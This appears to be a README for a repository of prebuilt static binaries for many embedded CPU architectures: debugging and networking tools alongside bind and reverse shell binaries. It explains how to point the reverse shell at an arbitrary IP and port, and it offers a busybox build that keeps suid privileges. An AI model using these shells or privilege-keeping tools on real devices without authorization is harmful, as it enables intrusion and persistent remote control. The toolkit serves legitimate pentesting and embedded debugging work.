prebuilt binaries for multiple architeture (arm, armeb, aarch64, aarch64_be, mips, mips1, mipsel, mipsel1, mips64, mips64el, powerpc, powerpc64, powerpc64le, riscv64, i586, x86_64)
all binaries are statically linked and stripped
Please go to the Release page for download. *archName*_tools.zip contains tools' binary (see Tools Section) for that specific arch, and allinone.zip contains all of it.
Or download single file directly from bin branch
Source file and Scripts are in src branch
- MIPS-I and MIPSEL-I are using
buildroot 2014.11because they remove the support after that version - others are using
buildroot 2019.11.1 - compiled toolchain can be found at action's artifacts page (mips1/mipsel1 are file package from
output/host, others are frommake sdk)
- gdb (mips1/mips1el are using
gdb 7.12.1, others are8.3.1) - socat
- busybox (And busybox_nodrop is the one replace all BB_SUID_DROP with BB_SUID_MAYBE, which means it will not drop suid in applets)
- bind/reverse shell
- bind/reverse shell .so library (barely tested)
- tcpdump
- strace
- dropbear(mips1/mips1el are not static link
:() - lsof
- run the bind shell without arguments like
./bind_shellwill listening on the port 3343 and./bind_shell 6666will listen on 6666. - run the reverse shell binary without arguments will connect to 127.0.0.1:3343 , one could use a hex editor the change cstring cotains the ip/port. or
./reverse_shell 1.1.1.1 12345will connect to 1.1.1.1:12345;./reverse_shell 1.1.1.1will connect to 1.1.1.1:3343
- gdbserver is compiled without libthread_db
- gdb need libthread_db.so.1 to support multithread debug, if you run into SIGSEGV when
rthe program, runset libthread-db-search-path 0in gdb first, then there will be warning about libthread_db.so.1, just ignore it.
the config file for buildroot and github actions' workflow file are in the src branch
20220514 - change to use release, old way can be found in20230305 - store files atmaster_deprecatedbranchbinbranch with git lfs- 20230217 - fix gdb build on x86_64
- 20230305 - enable telnetd applet and its stanalone mode in busybox